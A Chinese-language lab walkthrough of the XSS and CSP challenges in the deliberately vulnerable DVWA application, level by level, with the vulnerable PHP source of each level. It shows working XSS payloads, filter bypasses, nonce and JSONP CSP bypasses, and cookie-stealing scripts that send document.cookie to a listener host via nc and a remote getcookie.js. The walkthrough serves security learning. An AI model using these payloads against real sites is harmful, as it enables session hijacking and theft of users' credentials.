文章目录
1. Reflected XSS
Low level
提交name为aaa,响应如下:
<form name="XSS" action="#" method="GET">
<p>
What's your name?
<input type="text" name="name">
<input type="submit" value="Submit">
</p>
</form>
<pre>Hello aaa</pre>
提交以下payload:
<script>alert(/xss/)</script>
<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>
<img src=http://a.copm/a.jpg onerror=alert(/xss4/)>
没有任何过滤,均可成功弹窗。
重定向:
<script>window.location='https://www.baidu.com'</script>
获取cookie
弹窗获取:
<script>alert(document.cookie)</script>
security=low; PHPSESSID=ak4bius4na02j37up6p8rkbm8d
http请求获取。先开启监听:nc -lvvp 80
,然后提交payload:
<script>new Image().src="http://10.10.10.160/a.php?output="+document.cookie;</script>
kali端(10.10.10.160)监听:
$ nc -lvvp 80
listening on [any] 80 ...
connect to [10.10.10.160] from 10.10.10.160 [10.10.10.160] 41278
GET /a.php?output=security=low;%20PHPSESSID=ak4bius4na02j37up6p8rkbm8d HTTP/1.1
Host: 10.10.10.160
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.10.10.165/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F10.10.10.160%2Fa.php%3Foutput%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
通过远程js脚本获取。
// getcookie.js
var img=new Image();
img.src="http://10.10.10.160:1234/a.php?cookie=" + document.cookie;
kali启动http服务(apache2啥的都行):
──(kali㉿kali)-[~/Documents]
└─$ python -m SimpleHTTPServer 80
kali监听1234端口:
$ nc -lvvp 1234
提交payload:
<script src='http://10.10.10.160/getcookie.js'></script>
1234端口成功收到GET请求:
$ nc -lvvp 1234 1 ⨯
listening on [any] 1234 ...
connect to [10.10.10.160] from 10.10.10.160 [10.10.10.160] 43882
GET /a.php?cookie=security=low;%20PHPSESSID=ak4bius4na02j37up6p8rkbm8d HTTP/1.1
Host: 10.10.10.160:1234
...
看下后台源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
Medium level
提交payload:
<script>alert(/xss/)</script>
标签被过滤了:
<form name="XSS" action="#" method="GET">
<p>
What's your name?
<input type="text" name="name">
<input type="submit" value="Submit">
</p>
</form>
<pre>Hello alert(/xss/)</script></pre>
很好绕过:
大小写绕过
<sCript>alert(/xss/)</script>
插入绕过
<scr<script>ipt>alert(/xss/)</script>
其它payload也还有效:
<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>
<img src=http://a.copm/a.jpg onerror=alert(/xss4/)>
看下源码,确实只过滤了script标签:
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
High level
script标签被严格过滤了,但onload, img等payload还有效。
看下源码,是用的正则表达式来过滤:
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
Impossible level
之前的payload均失效。
看下源码,使用了htmlspecialchars过滤,并且加入了token防御csrf。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
如果是把name输出到单标签里,就有希望了。但这里是输出到pre双标签里了。
2. DOM XSS
注意和反射型xss做好区分。DOM型不经过服务器。
Low level
界面让选一个语言,随便选个French。响应如下:
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="French">French</option>
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
<input type="submit" value="Select" />
</form>
注意请求方式是GET,所以输入都被浏览器进行了URL编码,而前端界面又调用decodeURI进行解码(value=后面lang变量没有被解码,所以没法利用)。
构造payload:
/dvwa/vulnerabilities/xss_d/
?default=French<script>alert(/xss/)</script>
响应:
<option value="French%3Cscript%3Ealert(/xss/)%3C/script%3E">French<script>alert(/xss/)</script></option>
成功弹窗。
Medium level
这次前端页面检查没有变化,但low level的payload失效了。
尝试绕过:
大小写绕过
?default=French<sCript>alert(/xss/)</sCript> 失败
插入绕过
?default=French<scr<script>ipt>alert(/xss/)</script>
前端始终返回English option。
?default=French<script>alert(/xss/)</script>
重新构造一下payload,尝试闭合标签:
French</option></select><body onload=alert(/xss2/)>
French</option></select><a href='' onclick=alert(/xss3/)>click1</a>
French</option></select><a href='' onclick=alert(/xss3/)>click1</a>
均成功弹窗。
看下后端源码,是检查script标签:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
High level
试了半天没绕过,直接看源码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
用了白名单。
可以在注入的 payload 中加入注释符 “#”,注释后边的内容不会发送到服务端,但是会被前端代码所执行。
?default=English#<script>alert(document.cookie)</script>
成功弹窗。
Impossible level
这次前端发生了变化:
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>"); //这里这里这里
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
尝试发个script payload,回显如下(url编码):
<option value="%3Cscript%3Ealert(/xss/)%3C/script%3E">%3Cscript%3Ealert(/xss/)%3C/script%3E</option>
对比一下low level:
<option value="%3Cscript%3Ealert(/xss/)%3C/script%3E"><script>alert(/xss/)</script></option>
也就是说,去掉decodeURI,不再对输入进行url解码,。
后端impossible.php没有作任何处理, 但index.php有这样一段处理:
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
// document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
help页面描述:
The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.
3. Stored XSS
Low level
题目是一个留言板页面,姓名和消息文本框,一个提交按钮,一个清除按钮。
留言内容:
<br />
<div id="guestbook_comments">Name: test<br />Message: This is a test comment.<br /></div>
<br />
两个文本框都限制了长度,F12删除一下或者抓包都可以绕过。name和message的payload:
<script>alert(/xss/)</script>
<body onload=alert(/xss2/)>
<a href='' onclick=alert(/xss3/)>click1</a>
成功弹窗。
看下源码,去掉了空格、斜杠、引号等特殊字符,防御了sql注入,但没有防御xss:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
Medium level
Low level的payload失效,但大小写处理一下就能绕过了:
<sCript>alert(/xss/)</sCript>
看源码,是对name过滤不严格导致的xss:
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
High level
Low level的payload挨个试试,只有script标签失效了。
看下源码,确实没有过滤其他标签:
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = htmlspecialchars( $message );
//...
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
Impossible level
对name和message变量都调用了htmlspecialchars转换为 HTML 实体。无法利用了。
4. CSP
Content-Security-Policy,浏览器根据该HTTP响应字段判断哪些资源可以加载或执行,实质就是白名单制度。目的是抵御XSS攻击。
举例
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
- script-src:只信任当前域名
- object-src:不信任任何URL,不加载任何资源
- style-src样式表:只信任http://cdn.example.org和http://third-party.org
- child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
Low level
抓包看下响应字段(F12看网络也可以):
Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;
首先,网页可以下载当前域名的资源,假如已经利用网站的文件上传漏洞上传了一段脚本,并且知道路径,就可以加载它了。
xss.js:
alert(/xss_csp/);
include处填写js url:
http://10.10.10.165/dvwa/vulnerabilities/csp/
网上有很多利用hastebin.com的writeup,但我没有成功,不知道是不是浏览器版本(Firefox 78.13.0esr 64-bit)的问题。
看下源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
Medium level
响应的csp字段发生了变化:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
nonce-source,仅允许特定的内联脚本块,参考文章: HTML中“Nonce”属性的用途是什么?
payload:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert(/xss/)</script>
而low level的payload则失效了。
源码:
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
//...
?>
High level
这一关没有输入框。看网页源码或F12可以看到,CSP为script-src 'self';
,另外这个页面加载了source/high.js:
<p>1+2+3+4+5=<span id="answer"></span></p>
...
<script src="source/high.js"></script>
F12可以看下high.js的源码:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
根据这一关的帮助信息,这其实是发起了JSONP调用。JSONP是一种跨域读取数据的方法。
下面点击按钮时抓一下包。
请求:
GET /dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum HTTP/1.1
响应包的body:
solveSum({"answer":"15"})
于是,id为answer的span标签处就填上了15。
如果在点击按钮时拦截请求包,修改callback参数,就能实现利用:
GET /dvwa/vulnerabilities/csp/source/jsonp.php?callback=alert(/xss/) HTTP/1.1
看下jsonp.php源码:
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
Impossible level
这一关页面和high level一样,csp也仍是script-src 'self';
,
另外加载了impossible.js:
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
点击按钮的请求也变了:
GET /dvwa/vulnerabilities/csp/source/jsonp_impossible.php HTTP/1.1
响应包的body没有变:
solveSum ({"answer":"15"})
现在的问题是没有了callback参数,solveSum是如何回调的。
答:硬编码-_-
json_impossible.php:
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
echo "solveSum (".json_encode($outp).")";
?>